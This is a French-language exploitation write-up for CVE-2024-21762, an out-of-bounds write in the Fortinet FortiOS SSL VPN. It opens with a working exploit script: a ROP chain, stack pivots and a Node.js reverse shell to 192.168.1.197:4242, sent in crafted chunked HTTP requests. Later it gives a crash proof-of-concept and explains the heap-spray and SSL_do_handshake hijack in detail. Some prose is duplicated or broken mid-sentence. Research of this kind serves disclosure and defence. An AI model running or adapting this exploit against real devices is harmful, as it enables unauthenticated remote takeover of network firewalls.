
vulnérabilité d'écriture hors limites dans Fortinet FortiOS CVE-2024-21762
Vulnérabilité d'écriture hors limites dans Fortinet FortiOS CVE-2024-21762
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
form_value = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
time.sleep(1)
ssock2 = make_sock(TARGET, PORT)
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"
ssock2.sendall(data)
FortiGate a publié une mise à jour en février, corrigeant plusieurs vulnérabilités de risque moyen et élevé. L'une des vulnérabilités de niveau critique est une vulnérabilité d'écriture hors limites non authentifiée dans SSL VPN. L'avis de vulnérabilité indique que cette vulnérabilité pourrait être exploitée dans la nature. Cet article présentera l'analyse par l'auteur du processus d'exploitation de cette vulnérabilité pour parvenir à une exécution de code à distance.

L'environnement utilisé pour l'analyse de la vulnérabilité dans cet article est FGT_VM64-v7.4.2.F-build2571
En comparant les binaires des versions corrigées (7.4.2 et 7.4.3), l'analyse a révélé que le code de correction se situe dans la fonction sub_18F4980(7.4.2).

En analysant cette fonction, il n'est pas difficile de constater que sa logique consiste à lire les données du corps de la requête HTTP POST. En même temps, elle détermine, selon l'en-tête de requête Transfer-Encoding, si la lecture doit se faire au format chunk ou en fonction de Content-Length. D'après les résultats de la comparaison des graphes de flux de contrôle, deux modifications de code ont été apportées :
Lors de l'analyse du format chunk, ap_getline est appelé pour lire la longueur du chunk et il est vérifié si la valeur de retour de ap_getline est supérieure à 16. Si elle est supérieure à 16, la longueur du chunk est considérée comme illégale.

Lors de la lecture du trailer de chunk, la source du décalage auquel \r\n est écrit est la source d'affectation de line_off. Avant la correction, la valeur de line_off provenait de *(_QWORD *)(a1 + 744) ; après la correction, la valeur de retour provient de ap_getline.
En poursuivant la trace en avant, la valeur de *(_QWORD *)(a1 + 744) que l'on peut trouver est la longueur du champ de longueur de chunk de la première vérification.

En poursuivant la trace en avant, la valeur de *(_QWORD *)(a1 + 744) que l'on peut trouver est la longueur du champ de longueur de chunk de la première vérification.

Parallèlement, la lecture du code indique que lorsque la valeur du champ de longueur de chunk est 0 après décodage hexadécimal, on entre dans la logique de lecture du trailer de chunk.
Après avoir analysé le correctif, nous pouvons tirer les conclusions suivantes :
ap_getline pour lire le trailer de chunk, \r\n sera écrit dans le tampon en fonction de la longueur du champ de longueur de chunk.\r\n sera déclenchée. Grâce au débogage, nous pouvons savoir que le tampon cible est situé sur la pile (fonction sub_1A111E0) et que l'adresse de retour est stockée au décalage 0x2028. Si \r\n est écrit au décalage 0x202e, un crash se produira en raison d'une adresse illégale lorsque la fonction reviendra pour exécuter l'instruction ret afin de reprendre rip.PoC du crash :
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked
%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")
ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)
Scène du crash :

En analysant la cause de la vulnérabilité, on peut voir qu'elle peut être utilisée pour écrire deux octets \r\n hors limites sur la pile, et la portée du dépassement est proche de 0x2000. Étant donné que le contenu écrit est très limité, il est impossible d'obtenir une RCE en détournant directement rip. Il faut donc se concentrer sur les pointeurs mémoire sauvegardés sur la pile.
Ce à quoi l'on pense le plus facilement est de détourner rbp et d'écraser l'octet de poids faible de rbp afin que rbp pointe exactement vers une zone mémoire contrôlable. Lorsque la fonction de niveau supérieur revient pour exécuter l'instruction leave; ret, rip peut être complètement détourné. Cependant, lors de la vérification, il a été constaté que même si rbp sur la pile est écrasé, rsp et rip ne peuvent pas être détournés et le programme ne plante même pas. En continuant à remonter la trace, on trouve la fonction parente sub_1A26040 de sub_1A111E0. Cette fonction n'appelle pas leave; ret pour restaurer rsp à son retour, mais directement add rsp, 0x18, elle ne peut donc pas produire l'effet attendu.

Comme vu dans la section précédente, la fonction sub_1A26040 sauvegarde les valeurs des cinq registres rbx et r12-r15 sur la pile et restaure ces registres lorsqu'elle revient. En continuant à remonter, on trouve la fonction parente sub_1A27650. On peut voir que ce qui est sauvegardé dans r13 est exactement le paramètre a1.
a1 est un pointeur de structure. Grâce au débogage, nous pouvons également voir qu'une adresse du tas est sauvegardée dans r13 sur la pile.

Si la mémoire dans la zone rouge de la figure est écrasée par l'écriture hors limites, alors le registre r13 est restauré au retour de la fonction et la valeur du pointeur peut être falsifiée. Si la mémoire du tas peut être organisée de sorte que a1 pointe vers une zone mémoire arrangée à l'avance, alors toute la structure a1 peut être détournée. Par ailleurs, en analysant la logique du code de sub_1A27650 et sub_1A26040, on constate qu'il existe un grand nombre d'appels de fonctions dynamiques sur les membres multi-niveaux de la structure a1, ce qui offre davantage d'opportunités pour détourner a1.
Selon l'hypothèse, après l'écrasement de l'octet de poids faible du pointeur a1 par \r\n, il peut pointer vers la mémoire pré-arrangée, comme le montre la figure :

Pour obtenir cet effet, les conditions suivantes doivent être remplies :
a1 est supérieure à l'adresse de la zone de heap spray, et l'écart entre elles est très faible.0x7fxxxxxxx0a0d doit pointer vers la structure forgée.Le débogage permet de constater que la taille de la structure a1 est de 0x730. Selon les règles d'alignement de jemalloc, un bloc de tas de taille 0x800 sera alloué. Le bloc de tas 0x800 n'est pas couramment utilisé pendant le traitement des requêtes, il est donc facile d'épuiser les blocs 0x800 dans tcache, tout en demandant davantage de nouveaux blocs 0x800, afin qu'ils puissent entrer dans tcache après libération. L'injection de tas sélectionne également des blocs de tas de tailles peu courantes afin que les blocs de tas nouvellement demandés soient contigus et proches du 0x800 nouvellement alloué ; l'injection de tas choisit d'utiliser des blocs plus grands pour garantir que leurs adresses sont alignées sur 0x800, ce qui permet de s'assurer facilement que les 12 bits de poids faible de chaque adresse de structure forgée sont 0xa0d ; la plage de heap spray n'est pas inférieure à 0x10000 pour garantir que 0x7fxxxxxxx0a0d pointe vers la zone de heap spray. L'effet après le détournement est le suivant :

Grâce aux opérations ci-dessus, le détournement de la structure a1 peut être réalisé. En parcourant le code des fonctions sub_1A27650 et sub_1A26040, on trouve de nombreux appels dynamiques vers le pointeur de deuxième niveau et le pointeur de troisième niveau des membres de la structure a1, par exemple :

Lorsque la condition *(_BYTE *)(a1+0x20*(N+6)+0x10)&6==0 (0<N<5) est satisfaite, *(__int64 (__fastcall **)(__int64))(*(_QWORD *)(*(_QWORD *)(a1 + 0x298)+0x70)+0xC0)(a1) sera appelé dynamiquement. Par conséquent, le membre a1 + 0x298 doit être falsifié en un pointeur multi-niveaux qui pointe finalement vers la fonction que nous voulons appeler. Comme le binaire cible n'a pas la protection PIE activée, vous pouvez trouver des pointeurs multi-niveaux qualifiés dans le binaire cible. En analysant le binaire, nous pouvons constater que le premier pointeur pointe vers l'adresse de la table GOT de la fonction correspondante.


Par conséquent, en prenant la fonction system comme exemple, vous pouvez trouver des pointeurs multi-niveaux qualifiés

Lors du heap spraying, la modification de la valeur au décalage 0x298 de la structure peut être utilisée pour appeler la fonction system. L'effet est le suivant : 0x4368d0

Comme le montre la figure, le paramètre de l'appel dynamique est exactement a1 et la mémoire pointée est contrôlable. À ce stade, vous pouvez normalement utiliser la fonction system pour exécuter n'importe quelle commande. Cependant, dans FortiGate, le fichier /bin/sh n'a pas la capacité d'exécuter des commandes, donc l'utilisation de la fonction system pour exécuter des commandes ne peut pas aboutir.
Étant donné que la fonction system ne peut pas exécuter de commandes, nous ne pouvons que trouver d'autres moyens de réaliser une RCE. La condition existante est que n'importe quelle fonction de la table GOT peut être appelée et que la mémoire pointée par le premier paramètre de la fonction est contrôlable. Par conséquent, s'il existe une fonction dans la table GOT qui rappelle un certain membre du paramètre, il y a une chance de réaliser un détournement de RIP. Il est facile de penser aux fonctions souvent utilisées dans les exploits FortiGate précédents : SSL_do_handshake.

Il suffit de construire la structure SSL pour que les conditions soient satisfaites et que l'appel final soit effectué afin de réaliser le détournement de rip et de détourner rip vers 0xdeadbeef, comme le montre la figure:s->handshake_func(s).

Le programme principal de FortiGate est un binaire tout-en-un d'une taille de plus de 70 Mo. Il existe un grand nombre de gadgets utilisables. Il n'est pas difficile d'implémenter une RCE à l'aide de ROP, je n'entrerai donc pas dans les détails.
Bien que le mode web soit désactivé par défaut dans SSL VPN version 7.4.2 et que l'accès via navigateur renvoie 403, cette vulnérabilité peut toujours être exploitée dans la configuration par défaut.

Cette vulnérabilité est similaire à la vulnérabilité de débordement de tas causée par XOR l'année dernière. Ce sont toutes deux des vulnérabilités de débordement apparemment inutiles. Le processus d'exploitation est plus délicat et ressemble davantage à un défi de CTF. Cependant, par rapport aux problèmes de CTF traditionnels qui attaquent les heap managers, les vulnérabilités réelles nécessitent davantage de structures contextuelles et de logique de code pour être exploitées. Le niveau de l'auteur est limité. Si vous constatez des erreurs, veuillez me corriger. CVE-2023-27997